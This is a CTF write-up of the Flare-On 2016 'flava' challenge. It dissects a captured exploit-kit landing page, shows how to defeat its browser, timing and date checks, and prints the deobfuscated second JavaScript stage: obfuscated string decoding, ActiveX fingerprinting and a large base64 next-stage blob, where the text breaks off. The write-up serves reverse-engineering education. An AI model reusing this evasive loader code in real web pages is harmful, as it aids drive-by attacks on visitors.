Friday, 4 November 2016

CTF Writeup - Flare-On 2016 - 10: flava


  • Name - flava
  • Category - Reverse Engineering
  • Points - 10
  • Description - n/a
  • Binary - Download here


The final Flare-on challenge was very long and tedious compared to the previous 9 put together. For a change we get a massive pcap rather than a binary file. The stream we're interested is 233, so set the filter to tcp.stream == 233. The communication is between 10.2.2.149 and 10.14.56.20 and the stream starts in the following way:


    GET / HTTP/1.1
    Accept: text/html, application/xhtml+xml, image/jxr, */*
    Referer: http://10.11.106.81:18089/flareon_found_in_milpitas.html
    Accept-Language: en-US,en;q=0.5
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
    Accept-Encoding: gzip, deflate
    Host: 10.14.56.20:18089
    DNT: 1
    Connection: Keep-Alive
    
    HTTP/1.1 200 OK
    Content-Type: text/html
    Date: Thu, 08 Sep 2016 23:42:05 GMT
    Connection: keep-alive
    Transfer-Encoding: chunked
    
    10d73
    <!DOCTYPE html>
    <html>
    <head>



The stream contains the following request/response pairs:
  1. GET request ('/') with a response containing an obfuscated landing page
  2. POST request ('/i_knew_you_were_trouble ') containing a base64 string with a response containing another base64 string
  3. GET request ('/will_tom_hiddleston_be_taylor_swifts_last_song_of_her_career.meh') with a response containing a Flash file
Extract the html landing page and the SWF file. We'll start off with the landing page first.

Part I: The Landing Page


The landing page looks something like this in IE:


Remove all the debugger; statements from the javascript and beautify the script. Do not remove any html content though as some of it is referenced form the javascript. If we run it, we don't get anything; not even errors. This is because the final part of the script is contained in a try-catch block:

    try {
        if (FiAwn == 1) {
            var U7weQ = new Function(i9mk);
            U7weQ();
            FiAwn = 2
        } 
        else {
            var O0fdFD = new Function(i9mk);
            O0fdFD(i9mk)
        }
    } catch (lol) {}

Removing the try-catch block, we get SyntaxError: Illegal character. The function Function() expects correct javascript to execute it. The script contains 3 validation routines which, if any of them fails, it produces the wrong output which is not javascript. The first check is the following (I've cleaned up the javascript):

    try {
        if (UytFdye['ScriptEngineBuildVersion']() === 545) {
            utaNfs = 0;
        } else {
            utaNfs = 2;
        }
    } catch (e) {
        utaNfs = 4;
    }
    LiZAqJ = utaNfs;


This ScriptEngineBuildVersion function will only work in IE. If Firefox or Chrome is used, we end up in the catch statement. We require LiZAqJ to be 0; let's change the code to force this. The second change we have to preform is in this section:

    if (ruHGNbQNzSlh && (!ruHGNbQNzSlh['out' + 'er' + HGLsdfij] || ruHGNbQNzSlh[u9Zdsjl] < (35144 ^ 35912))) {
        DM7w7I = 1;
    } 
    else {
        var IhUgy = new Date();
        DM7w7I = (IhUgy - JKhURsf > 100) ? 3 : 0
    }

The variable DM7w7I has to be set to 0. And the last validation routine compares today's date with the 9th of September 2016:

    function UIgvkFSsu() {
        //oiHqEd = 9th of September 2016
        //JKhURsf = today's date
        if (JKhURsf < oiHqEd) {
            return true;
        } 
        else {
            return false;
        }
    }

We require our date to be smaller than the fixed date so the function returns true. As it's a bit of a hassle to travel to the past, we'll settle with modifying the code to always return true. Instead of calling the new javascript, we would like to get a copy of it, so modify Function(i9mk) to read document.write(i9mk) (putting it between pre statement might help), open the page and copy the printed javascript into a new file for further analysis.

I have provided a copy of the 2nd javascript layer for reference and just in case anyone would like a copy:

function k() {
    String['prototype']['kek'] = function(a, b, c, d) {
        var e = '';
        a = unescape(a);
        for (var f = 0; f < a['length']; f++) {
            var g = b ^ a['charCodeAt'](f);
            e += String['fromCharCode'](g);
            b = (b * c + d) & 0xFF;
        }
        return e;
    }, String['prototype']['' ['kek']('%0B%5Ei', 108, 41, 237)] = function() {
        return '' ['kek']('%C96%E4B%3Ei_%83n%C1%82%FB%DC%01%EAA+o', 175, 129, 43);
    }, String['prototype']['' ['kek']('6%87%24', 94, 13, 297)] = function() {
        return '' ['kek']('4%94%0D%86%7BVXJ%AD%1C%87%0E%FE%C0%DA%D2%20%82%01%ACWAJd%B6%06%8D/', 92, 33, 31);
    };

    try {
        m();
        var a = l();
        var b = Function(a);
        b();
    } catch (zzzzz) {}
}

try {
    k();
} catch (z) {}

function m() {
    String['prototype']['lol'] = String['prototype']['>_<'] = String['prototype']['o3o'] = String['prototype']['>_O'] = String['prototype']['-Q-'] = String['prototype']['Orz'] = String['prototype']['^_^'] = String['prototype']['OGC'] = String['prototype']['O_o'] = String['prototype']['-,-'] = String['prototype']['kek'];
    window.fvOWbauMcjLj = window.fvOWbauMcjLs = window.fvOWbauMcjLf1 = window.fvOWbauMcjLf2 = '' ['-Q-'];

    window.gFVaUK = false;
    window.LAAOEpH = false;
    window['rghv3ee'] = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
    window['wdns9Ie'] = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/=';
    window['UoqK1Yl'] = window['wdns9Ie'];
}


function j() {
    var blah;
    var a = navigator,
        b = 0;
    if (a[window.fvOWbauMcjLj('u%B2%C7%D1%85b%03%89%FC', 0, 33, 193)][window.fvOWbauMcjLf2('xV%BBc%D5%9B%1D', 17, 129, 167)](window.fvOWbauMcjLs('%CC%E5%22%E5', 129, 129, 181)) == -1 && a[window.fvOWbauMcjLf1('Q%85%BE%5DYC%89%8E%E7%C3', 48, 5, 5)][window.fvOWbauMcjLs('%EF%CD%F4%28%A2x%02', 134, 17, 189)](window.fvOWbauMcjLj('%D67%7D%7B3%07%BC%8C', 130, 5, 187)) == -1) {
        window.gFVaUK = true;
    }
    var c = window.fvOWbauMcjLj('%F3%C2M%F9%E1%5D%F9%FE%29%95%9F%C4J.P', 184, 17, 107) + window.fvOWbauMcjLf2('t%B4%C3%CF%8F%60%1F%85%E7%28', 0, 33, 193) + window.fvOWbauMcjLs('r%A5%F2%CF%B1b%0F%89%A6%03K%5D-%FE%8D%1Dy%A1%C6%F2%A4%7C', 0, 33, 193);

    var d = c,
        e = c + window.fvOWbauMcjLf1('%3F%09', 17, 129, 167),
        f = c + window.fvOWbauMcjLj('%AF%824%95%0A%BA%11E', 129, 129, 181);

    try {
        blah = new ActiveXObject(d);
    } catch (w) {
        blah = false;
        try {
            blah = new ActiveXObject(e);
        } catch (w) {
            blah = false;
            try {
                blah = new ActiveXObject(f);
            } catch (w) {
                blah = false;
            }
        }
    }
    if (blah) {
        window.LAAOEpH = true;
    }

    if (!window.gFVaUK && !window.LAAOEpH) {
        window['UoqK1Yl'] = window['rghv3ee'];
    } else {
        window['UoqK1Yl'] = window['wdns9Ie'];
    }
}

function l() {
    j();
    var a = "dmFyIElsMUliID0gTWF0aCwgSWwxSWMgPSBTdHJpbmcsIElsMUlJbGwxYSA9IEpTT04sIElsMUlJbGwxYiA9IFhNTEh0dHBSZXF1ZXN0Owp2YXIgSWwxSWUgPSAnJ1snbG9sJ10oJzklRTQ0JUJDJTFBcCcsIDkwLCA5LCA5NyksCiBJbDFJZiA9ICcnWyc+XzwnXSgnJUQwJTk0JTE4RiVBNSVDMCcsIDE2MiwgNSwgMTk5KSwKIElsMUlnID0gJydbJ09HQyddKCclQjclNUJ5NCVCNiVCNHcnLCAxOTksIDMzLCAxNDcpLAogSWwxSWggPSAnJ1snLVEtJ10oJyVCN2olMTYlOUUlMDQlODglRTQlM0VqJywgMTk5LCAxNywgMjI1KSwKIElsMUkgPSAnJ1snPl9PJ10oJyVEQiVGQ3klN0QlRTEnLCAxNjgsIDEyOSwgMjQ3KSwKIElsMUlpID0gJydbJ28zbyddKCclQzRKJTEzc0klRjclM0QnLCAxNzMsIDUsIDE5NSksCiBJbDFJaiA9ICcnWydPcnonXSgnJUQ2JUU0elAlMjAlRUMnLCAxODEsIDksIDQ3KSwKIElsMUlrID0gJydbJ09yeiddKCdGJTkyJTFDJUQ1JURGJTAyJywgNTIsIDY1LCAxOTEpLAogSWwxSWwgPSAnJ1snXl9eJ10oJyUzRXElMDElRjQlQzdHJUZCJUI3JUYzNCVBMiU5NCcsIDg4LCA2NSwgMTcxKSwKIElsMUltID0gJydbJ15fXiddKCclREZ1JTVDX2MnLCAxOTAsIDMzLCAxMzUpLAogSWwxSW4gPSAnJ1snbG9sJ10oJyVGQSU1RSUxQSVGNlYlOUYnLCAxNTAsIDUsIDc3KSwKIElsMUlvID0gJydbJz5fPCddKCclRjlTJUY4JUFFJUJCJTExJTg5cScsIDE0MSwgNjUsIDExMSksCiBJbDFJcCA9ICcnWydPR0MnXSgnJTAzJUY3JUI3JUI3byVBNCUwNiVENDklMDMnLCA5NiwgOSwgNjMpLAogSWwxSXEgPSAnJ1snT19vJ10oJyVDMyVCRSUxMCVDMysnLCAxNjUsIDEyOSwgMTczKSwKIElsMUlyID0gJydbJ2xvbCddKCclRDQlMUIlRTdNJywgMTY3LCAzMywgMjM1KTsKdmFyIElsMUliYkFhID0gJydbJz5fTyddKCclMTAlOEQlODElQ0UlMTclQTl5OSU1QiVGMCUzQnglREUlM0ZDJUVCJTg1JUZEJUVFJThBJTgwJUZBeSU5RCVDQyVBMTElRDRLSCUyMyVBRjYuJTg0JTVEJTI4JUQ4JTA2ZGclMjQlMjYlRTAlRTMlOEUwcyVBOCUxRiVCMSUxMCVBRiUxQiUwOSUwMyVFMyUwMiVFQlIlNUMlQTklMTMlRTUlRTNPJTNFJUJDJUU2ZCUyOSVDNyozJUMxQyVBOSVGQSUxMyVEMnQlQjB0aFklODZPMycsIDY1LCA1LCAxNDcpOwp2YXIgSWwxSWJic3MgPSAnJ1snLSwtJ10oJyolRjFtJTg5MSU4MicsIDg5LCAzMywgMTEpLAogSWwxSWJic28gPSA2LCBJbDFJYmJzaSA9IDIsIElsMUliYnNuID0gMTA7IAp2YXIgSWwxSWJic2EgPSAnJ1snT19vJ10oJ0clMDJuJTFGZUIlOTMlN0MlQkYlOEIlRkElODAlRjklQUYlMUIlQzMnLCA1MiwgMTI5LCA1MSksCiBJbDFJYmJzYiA9ICcnWyctUS0nXSgnJTlGJTIzJUFCTycsIDI0MCwgOSwgMjI3KSwKIElsMUliYnNjID0gJydbJ09yeiddKCclRUUlREIxJUU0JywgMTU3LCAxMjksIDE2MSksCiBJbDFJYmJzZCA9ICcnWydPcnonXSgnJUFGVWQ0JThEJTgzJTNCJThFbCVGMiUxQSVDQyUyN1clRkIlM0IlMTclOEUnLCAxOTIsIDMzLCAxMjMpLAogSWwxSWJic2UgPSAnJ1snXl9eJ10oJyUwOCVDMCVGMV8lREYlODIlQzglMDYlQTYlOTgnLCAxMjIsIDY1LCAxNzEpLAogSWwxSWJic2YgPSAnJ1snT19vJ10oJzElRkRpJTBCJURCJTI2JywgNjYsIDksIDU1KSwKIElsMUliYnNnID0gJydbJy0sLSddKCdsVEMlM0IlRUQlQTMlN0MlMTAlOUUnLCAzMSwgMTcsIDE3KSwKIElsMUliYnNoID0gJydbJz5fPCddKCdHJUUxJTdCJUExJUJFJywgNTUsIDY1LCAxMzcpLAogSWwxSWJic2wgPSBlc2NhcGUsCiBJbDFJYmJzaiA9IHVuZXNjYXBlLAogSWwxSWJic2sgPSAnJ1snbzNvJ10oJyUwOW1GciUwMCUxMlolMTM3JTk1ZSU5RScsIDEyMywgMzMsIDQ1KSwKIElsMUliYnNwID0gJydbJ28zbyddKCdzJUREJUEyJTE0JywgMzUsIDE3LCA2MyksCiBJbDFJYmJzdCA9IGZhbHNlOwoKSWwxSVogPSBmdW5jdGlvbihpKQp7CiB2YXIgayA9ICcnWyctLC0nXSgnJThFSkpWJTI2eiU5QSVDRSUzRSVCQXo2RmpKJUJFTiU4QSUwQSVCNicsIDIwNywgOSwgMTkzKSArICcnWydPX28nXSgnJTVFJUMwLiUyQyUxRSVFOCUxNDIlNjAqJTk0JUNBWCUwMiU4NCVFMiU5MGolMDQlOEFYUiUxNCVCMiU4MCVDQSU5NGonLCAxMSwgOSwgNTEpICsgJydbJ09yeiddKCclMUElQjYlMTYqQSVFM0FnQSVFM0FvQSVFM1BzQCcsIDEwOSwgNjUsIDMzKTsKIHZhciBvID0gJyc7CiB2YXIgdCA9IDA7CiB3aGlsZSAodCA8IGlbSWwxSW5dKQogewogdmFyIGMxID0gaVtJbDFJcF0odCsrKTsKIHZhciBjMiA9IGlbSWwxSXBdKHQrKyk7CiB2YXIgYzMgPSBpW0lsMUlwXSh0KyspOwogdmFyIGUxID0gYzEgPj4gMjsKIHZhciBlMiA9ICgoYzEgJiAzKSA8PCA0KSB8IChjMiA+PiA0KTsKIHZhciBlMyA9ICgoYzIgJiAxNSkgPDwgMikgfCAoYzMgPj4gNik7CiB2YXIgZTQgPSBjMyAmIDYzOwogaWYgKGlzTmFOKGMyKSkKIHsKIGUzID0gZTQgPSA2NDsKIH0KIGVsc2UgaWYgKGlzTmFOKGMzKSkKIHsKIGU0ID0gNjQ7CiB9CiBvICs9IGtbSWwxSWpdKGUxKSArIGtbSWwxSWpdKGUyKSArIGtbSWwxSWpdKGUzKSArIGtbSWwxSWpdKGU0KTsKIH0KIHJldHVybiBvOwp9CgpJbDFJWSA9IGZ1bmN0aW9uKGkpCnsKIHZhciBrID0gJydbJ09HQyddKCdLb1MlRjdTJTdGJTVCJUY3ayUwRmMlODdjJTFGJTdCJTg3ayUwRiUxMyVCNycsIDEwLCA2NSwgMTYzKSArICcnWydPR0MnXSgnQSU5MSUxMSU5OXFxJTVCJUU3JTlGKyU4Qm8lRjclNUIlMEIlMjclOEYlQkIlRkIlM0YlOTdLJUZCZyVCRitLJUVGJywgMjAsIDUsIDk5KSArICcnWydPR0MnXSgnJTE3JUVCJUZGQyU5QyVFRSVFMCVCNiVDQyUxRSUyOCVFNiU3Q05BMiVBRCcsIDk2LCA2NSwgNTEpOwogdmFyIG8gPSAnJzsKIHZhciByID0gL1teQS1aYS16MC05XCtcL1w9XS9nOwogaSA9IGkucmVwbGFjZShyLCAnJyk7CiB2YXIgdCA9IDA7Cgogd2hpbGUgKHQgPCBpW0lsMUluXSkKIHsKIHZhciBlMSA9IGtbSWwxSWldKGlbSWwxSWpdKHQrKykpOwogdmFyIGUyID0ga1tJbDFJaV0oaVtJbDFJal0odCsrKSk7CiB2YXIgZTMgPSBrW0lsMUlpXShpW0lsMUlqXSh0KyspKTsKIHZhciBlNCA9IGtbSWwxSWldKGlbSWwxSWpdKHQrKykpOwogdmFyIGMxID0gKGUxIDw8IDIpIHwgKGUyID4+IDQpOwogdmFyIGMyID0gKChlMiAmIDE1KSA8PCA0KSB8IChlMyA+PiAyKTsKIHZhciBjMyA9ICgoZTMgJiAzKSA8PCA2KSB8IGU0OwogbyArPSBJbDFJY1tJbDFJbF0oYzEpOwogaWYgKGUzICE9IDY0KQogewogbyArPSBJbDFJY1tJbDFJbF0oYzIpOwogfQogaWYgKGU0ICE9IDY0KQogewogbyArPSBJbDFJY1tJbDFJbF0oYzMpOwogfQogfQogcmV0dXJuIG87Cn07CgoKKGZ1bmN0aW9uKCl7CiB2YXIgSWwxSXMsIElsMUl0OwoKIGZ1bmN0aW9uIElsMUl1KGEsYixjKSB7CiBpZihhICE9IG51bGwpCiBpZignbnVtYmVyJyA9PSB0eXBlb2YgYSkgdGhpcy5JbDFJYmEoYSxiLGMpOwogZWxzZSBpZihiID09IG51bGwgJiYgJ3N0cmluZycgIT0gdHlwZW9mIGEpIHRoaXMuSWwxSXcoYSwyNTYpOwogZWxzZSB0aGlzLklsMUl3KGEsYik7CiB9CgogZnVuY3Rpb24gSWwxSXgoKSB7IHJldHVybiBuZXcgSWwxSXUobnVsbCk7IH0KCiBmdW5jdGlvbiBJbDFJY2EoaSx4LHcsaixjLG4pIHsKIHdoaWxlKC0tbiA+PSAwKSB7CiB2YXIgdiA9IHgqdGhpc1tpKytdK3dbal0rYzsKIGMgPSBJbDFJYltJbDFJcV0odi82NzEwODg2NCk7CiB3W2orK10gPSB2JjY3MTA4ODYzOwogfQogcmV0dXJuIGM7CiB9CgogZnVuY3Rpb24gSWwxSWRhKGkseCx3LGosYyxuKSB7CiB2YXIgeGwgPSB4JjMyNzY3LCB4aCA9IHg+PjE1Owogd2hpbGUoLS1uID49IDApIHsKIHZhciBsID0gdGhpc1tpXSYzMjc2NzsKIHZhciBoID0gdGhpc1tpKytdPj4xNTsKIHZhciBtID0geGgqbCtoKnhsOwogbCA9IHhsKmwrKChtJjMyNzY3KTw8MTUpK3dbal0rKGMmMTA3Mzc0MTgyMyk7CiBjID0gKGw+Pj4zMCkrKG0+Pj4xNSkreGgqaCsoYz4+PjMwKTsKIHdbaisrXSA9IGwmMTA3Mzc0MTgyMzsKIH0KIHJldHVybiBjOwogfQoKIGZ1bmN0aW9uIElsMUllYShpLHgsdyxqLGMsbikgewogdmFyIHhsID0geCYxNjM4MywgeGggPSB4Pj4xNDsKIHdoaWxlKC0tbiA+PSAwKSB7CiB2YXIgbCA9IHRoaXNbaV0mMTYzODM7CiB2YXIgaCA9IHRoaXNbaSsrXT4+MTQ7CiB2YXIgbSA9IHhoKmwraCp4bDsKIGwgPSB4bCpsKygobSYxNjM4Myk8PDE0KSt3W2pdK2M7CiBjID0gKGw+PjI4KSsobT4+MTQpK3hoKmg7CiB3W2orK10gPSBsJjI2ODQzNTQ1NTsKIH0KIHJldHVybiBjOwogfQoKIHZhciBJbDFJZ2cgPSB0eXBlb2YgbmF2aWdhdG9yICE9PSAndW5kZWZpbmVkJzsKIGlmKElsMUlnZyAmJiAobmF2aWdhdG9yLmFwcE5hbWUgPT0gJydbJ09fbyddKCdsaSVBQyVGQ1IlQUYlMDQlOEMtJTk4TiUyOCUwMSVGMSVEMSVDQyVGNCUwNCUxRiVCQiVENSUzQyVCNzUlQkJNJTA1JywgMzMsIDE3LCAyMDcpKSkgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWRhOwogSWwxSXQgPSAzMDsKIH0KIGVsc2UgaWYgKElsMUlnZyAmJiAobmF2aWdhdG9yLmFwcE5hbWUgIT0gJydbJy0sLSddKCclMTMlOTMlN0IlREIlQTIlM0IlMDNpJywgOTMsIDEyOSwgMjUpKSkgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWNhOwogSWwxSXQgPSAyNjsKIH0KIGVsc2UgewogSWwxSXVbSWwxSWhdLmFtID0gSWwxSWVhOwogSWwxSXQgPSAyODsKIH0KCiBJbDFJcyA9IElsMUl1W0lsMUloXTsKCiBJbDFJcy5EQiA9IElsMUl0OwogSWwxSXMuRE0gPSAoKDE8PElsMUl0KS0xKTsKIElsMUlzLkRWID0gKDE8PElsMUl0KTsKCiBJbDFJcy5GViA9IElsMUliLnBvdygyLDUyKTsKIElsMUlzLkYxID0gNTItSWwxSXQ7CiBJbDFJcy5GMiA9IDIqSWwxSXQtNTI7CgogdmFyIElsMUlmYSA9ICcnWydsb2wnXSgnJTlCJTk3SyVENyU5MyVCNyUwMyVCNyUxQiVFNyUxMCVGRSU3QyVERUglNUUlRkMlN0UlMDAlM0UlRkMlOUVIJTlFJTdDJTNFJTEwJTdFJTdDJTVFaCVERSVGQyVGRSUyMCVCRScsIDE3MSwgOSwgMTYzKTsKIHZhciBJbDFJeiA9IG5ldyBBcnJheSgpOwogdmFyIElsMUlBLElsMUlCOwogSWwxSUEgPSAnMCdbSWwxSXBdKDApOwogZm9yKElsMUlCID0gMDsgSWwxSUIgPD0gOTsgKytJbDFJQikgSWwxSXpbSWwxSUErK10gPSBJbDFJQjsKIElsMUlBID0gJ2EnW0lsMUlwXSgwKTsKIGZvcihJbDFJQiA9IDEwOyBJbDFJQiA8IDM2OyArK0lsMUlCKSBJbDFJeltJbDFJQSsrXSA9IElsMUlCOwogSWwxSUEgPSAnQSdbSWwxSXBdKDApOwogZm9yKElsMUlCID0gMTA7IElsMUlCIDwgMzY7ICsrSWwxSUIpIElsMUl6W0lsMUlBKytdID0gSWwxSUI7CgogZnVuY3Rpb24gSWwxSWkyYyhuKSB7IHJldHVybiBJbDFJZmFbSWwxSWpdKG4pOyB9CgogZnVuY3Rpb24gSWwxSWdhKHMsaSkgewogdmFyIGMgPSBJbDFJeltzW0lsMUlwXShpKV07CiByZXR1cm4gKGM9PW51bGwpPy0xOmM7CiB9CgogZnVuY3Rpb24gSWwxSWVibihyKSB7CiBmb3IodmFyIGkgPSB0aGlzLnQtMTsgaSA+PSAwOyAtLWkpIHJbaV0gPSB0aGlzW2ldOwogci50ID0gdGhpcy50Owogci5zID0gdGhpcy5zOwogfQoKIGZ1bmN0aW9uIElsMUlEYm4oeCkgewogdGhpcy50ID0gMTsKIHRoaXMucyA9ICh4PDApPy0xOjA7CiBpZih4ID4gMCkgdGhpc1swXSA9IHg7CiBlbHNlIGlmKHggPCAtMSkgdGhpc1swXSA9IHgrdGhpcy5EVjsKIGVsc2UgdGhpcy50ID0gMDsKIH0KCiBmdW5jdGlvbiBJbDFJQyhpKSB7IHZhciByID0gSWwxSXgoKTsgci5JbDFJRChpKTsgcmV0dXJuIHI7IH0KCiBmdW5jdGlvbiBJbDFJd2JuKHMsYikgewogdmFyIGs7CiBpZihiID09IDE2KSBrID0gNDsKIGVsc2UgaWYoYiA9PSA4KSBrID0gMzsKIGVsc2UgaWYoYiA9PSAyNTYpIGsgPSA4OwogZWxzZSBpZihiID09IDIpIGsgPSAxOwogZWxzZSBpZihiID09IDMyKSBrID0gNTsKIGVsc2UgaWYoYiA9PSA0KSBrID0gMjsKIGVsc2UgeyB0aGlzLklsMUlsbDFmKHMsYik7IHJldHVybjsgfQogdGhpcy50ID0gMDsKIHRoaXMucyA9IDA7CiB2YXIgaSA9IHMubGVuZ3RoLCBtaSA9IGZhbHNlLCBzaCA9IDA7CiB3aGlsZSgtLWkgPj0gMCkgewogdmFyIHggPSAoaz09OCk/c1tpXSYyNTU6SWwxSWdhKHMsaSk7CiBpZih4IDwgMCkgewogaWYocy5jaGFyQXQoaSkgPT0gJy0nKSBtaSA9IHRydWU7CiBjb250aW51ZTsKIH0KIG1pID0gZmFsc2U7CiBpZihzaCA9PSAwKQogdGhpc1t0aGlzLnQrK10gPSB4OwogZWxzZSBpZihzaCtrID4gdGhpcy5EQikgewogdGhpc1t0aGlzLnQtMV0gfD0gKHgmKCgxPDwodGhpcy5EQi1zaCkpLTEpKTw8c2g7CiB0aGlzW3RoaXMudCsrXSA9ICh4Pj4odGhpcy5EQi1zaCkpOwogfQogZWxzZQogdGhpc1t0aGlzLnQtMV0gfD0geDw8c2g7CiBzaCArPSBrOwogaWYoc2ggPj0gdGhpcy5EQikgc2ggLT0gdGhpcy5EQjsKIH0KIGlmKGsgPT0gOCAmJiAoc1swXSYxMjgpICE9IDApIHsKIHRoaXMucyA9IC0xOwogaWYoc2ggPiAwKSB0aGlzW3RoaXMudC0xXSB8PSAoKDE8PCh0aGlzLkRCLXNoKSktMSk8PHNoOwogfQogdGhpcy5JbDFJTigpOwogaWYobWkpIElsMUlMLklsMUlNKHRoaXMsdGhpcyk7CiB9CgogZnVuY3Rpb24gSWwxSU5ibigpIHsKIHZhciBjID0gdGhpcy5zJnRoaXMuRE07CiB3aGlsZSh0aGlzLnQgPiAwICYmIHRoaXNbdGhpcy50LTFdID09IGMpIC0tdGhpcy50OwogfQoKIGZ1bmN0aW9uIElsMUlsbDFjYm4ocikgeyByZXR1cm4gSWwxSWIuZmxvb3IoSWwxSWIuTE4yKnRoaXMuREIvSWwxSWIubG9nKHIpKTt9CgogZnVuY3Rpb24gSWwxSWxsMW1ibihuKSB7CiB0aGlzW3RoaXMudF0gPSB0aGlzLmFtKDAsbi0xLHRoaXMsMCwwLHRoaXMudCk7CiArK3RoaXMudDsKIHRoaXMuSWwxSU4oKTsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxbmJuKCkgewogaWYodGhpcy5zIDwgMCkgcmV0dXJuIC0xOwogZWxzZSBpZih0aGlzLnQgPD0gMCB8fCAodGhpcy50ID09IDEgJiYgdGhpc1swXSA8PSAwKSkgcmV0dXJuIDA7CiBlbHNlIHJldHVybiAxOwogfQoKIGZ1bmN0aW9uIElsMUlsbDFpYm4oKSB7CiBpZih0aGlzLnMgPCAwKSB7CiBpZih0aGlzLnQgPT0gMSkgcmV0dXJuIHRoaXNbMF0tdGhpcy5EVjsKIGVsc2UgaWYodGhpcy50ID09IDApIHJldHVybiAtMTsKIH0KIGVsc2UgaWYodGhpcy50ID09IDEpIHJldHVybiB0aGlzWzBdOwogZWxzZSBpZih0aGlzLnQgPT0gMCkgcmV0dXJuIDA7CiByZXR1cm4gKCh0aGlzWzFdJigoMTw8KDMyLXRoaXMuREIpKS0xKSk8PHRoaXMuREIpfHRoaXNbMF07CiB9CgogZnVuY3Rpb24gSWwxSWxsMXRibihiKSB7CiBpZihiID09IG51bGwpIGIgPSAxMDsKIGlmKHRoaXMuSWwxSWxsMW4oKSA9PSAwIHx8IGIgPCAyIHx8IGIgPiAzNikgcmV0dXJuICcwJzsKIHZhciBjcyA9IHRoaXMuSWwxSWxsMWMoYik7CiB2YXIgYSA9IElsMUliLnBvdyhiLGNzKTsKIHZhciBkID0gSWwxSUMoYSksIHkgPSBJbDFJeCgpLCB6ID0gSWwxSXgoKSwgciA9ICcnOwogdGhpcy5JbDFJSChkLHkseik7CiB3aGlsZSh5LklsMUlsbDFuKCkgPiAwKSB7CiByID0gKGErei5JbDFJbGwxaSgpKS50b1N0cmluZyhiKS5zdWJzdHIoMSkgKyByOwogeS5JbDFJSChkLHkseik7CiB9CiByZXR1cm4gei5JbDFJbGwxaSgpLnRvU3RyaW5nKGIpICsgcjsKIH0KCiBmdW5jdGlvbiBJbDFJbGwxZmJuKHMsYikgewogdGhpcy5JbDFJRCgwKTsKIGlmKGIgPT0gbnVsbCkgYiA9IDEwOwogdmFyIGNzID0gdGhpcy5JbDFJbGwxYyhiKTsKIHZhciBkID0gSWwxSWIucG93KGIsY3MpLCBtaSA9IGZhbHNlLCBqID0gMCwgdyA9IDA7CiBmb3IodmFyIGkgPSAwOyBpIDwgcy5sZW5ndGg7ICsraSkgewogdmFyIHggPSBJbDFJZ2EocyxpKTsKIGlmKHggPCAwKSB7CiBpZihzLmNoYXJBdChpKSA9PSAnLScgJiYgdGhpcy5JbDFJbGwxbigpID09IDApIG1pID0gdHJ1ZTsKIGNvbnRpbnVlOwogfQogdyA9IGIqdyt4OwogaWYoKytqID49IGNzKSB7CiB0aGlzLklsMUlsbDFtKGQpOwogdGhpcy5JbDFJUSh3LDApOwogaiA9IDA7CiB3ID0gMDsKIH0KIH0KIGlmKGogPiAwKSB7CiB0aGlzLklsMUlsbDFtKElsMUliLnBvdyhiLGopKTsKIHRoaXMuSWwxSVEodywwKTsKIH0KIGlmKG1pKSBJbDFJTC5JbDFJTSh0aGlzLHRoaXMpOwogfQoKIGZ1bmN0aW9uIElsMUlsbDFzKGIpIHsKIGlmKHRoaXMucyA8IDApIHJldHVybiAnLScrdGhpcy5JbDFJbGwxbygpLnRvU3RyaW5nKGIpOwogdmFyIGs7CiBpZihiID09IDE2KSBrID0gNDsKIGVsc2UgaWYoYiA9PSA4KSBrID0gMzsKIGVsc2UgaWYoYiA9PSAyKSBrID0gMTsKIGVsc2UgaWYoYiA9PSAzMikgayA9IDU7CiBlbHNlIGlmKGIgPT0gNCkgayA9IDI7CiBlbHNlIHJldHVybiB0aGlzLklsMUlsbDF0KGIpOwogdmFyIGttID0gKDE8PGspLTEsIGQsIG0gPSBmYWxzZSwgciA9ICcnLCBpID0gdGhpcy50OwogdmFyIHAgPSB0aGlzLkRCLShpKnRoaXMuREIpJWs7CiBpZihpLS0gPiAwKSB7CiBpZihwIDwgdGhpcy5EQiAmJiAoZCA9IHRoaXNbaV0+PnApID4gMCkgeyBtID0gdHJ1ZTsgciA9IElsMUlpMmMoZCk7IH0KIHdoaWxlKGkgPj0gMCkgewogaWYocCA8IGspIHsKIGQgPSAodGhpc1tpXSYoKDE8PHApLTEpKTw8KGstcCk7CiBkIHw9IHRoaXNbLS1pXT4+KHArPXRoaXMuREItayk7CiB9CiBlbHNlIHsKIGQgPSAodGhpc1tpXT4+KHAtPWspKSZrbTsKIGlmKHAgPD0gMCkgeyBwICs9IHRoaXMuREI7IC0taTsgfQogfQogaWYoZCA+IDApIG0gPSB0cnVlOwogaWYobSkgciArPSBJbDFJaTJjKGQpOwogfQogfQogcmV0dXJuIG0/cjonMCc7CiB9CgogZnVuY3Rpb24gSWwxSWxsMW9ibigpIHsgdmFyIHIgPSBJbDFJeCgpOyBJbDFJTC5JbDFJTSh0aGlzLHIpOyByZXR1cm4gcjsgfQoKIGZ1bmN0aW9uIElsMUlsbDFhYm4oKSB7IHJldHVybiAodGhpcy5zPDApP3RoaXMuSWwxSWxsMW8oKTp0aGlzOyB9CgogZnVuY3Rpb24gSWwxSUdibihhKSB7CiB2YXIgciA9IHRoaXMucy1hLnM7CiBpZihyICE9IDApIHJldHVybiByOwogdmFyIGkgPSB0aGlzLnQ7CiByID0gaS1hLnQ7CiBpZihyICE9IDApIHJldHVybiAodGhpcy5zPDApPy1yOnI7CiB3aGlsZSgtLWkgPj0gMCkgaWYoKHI9dGhpc1tpXS1hW2ldKSAhPSAwKSByZXR1cm4gcjsKIHJldHVybiAwOwogfQoKIGZ1bmN0aW9uIElsMUlFKHgpIHsKIHZhciByID0gMSwgdDsKIGlmKCh0PXg+Pj4xNikgIT0gMCkgeyB4ID0gdDsgciArPSAxNjsgfQogaWYoKHQ9eD4+OCkgIT0gMCkgeyB4ID0gdDsgciArPSA4OyB9CiBpZigodD14Pj40KSAhPSAwKSB7IHggPSB0OyByICs9IDQ7IH0KIGlmKCh0PXg+PjIpICE9IDApIHsgeCA9IHQ7IHIgKz0gMjsgfQogaWYoKHQ9eD4+MSkgIT0gMCkgeyB4ID0gdDsgciArPSAxOyB9CiByZXR1cm4gcjsKIH0KCiBmdW5jdGlvbiBJbDFJbWFibigpIHsKIGlmKHRoaXMudCA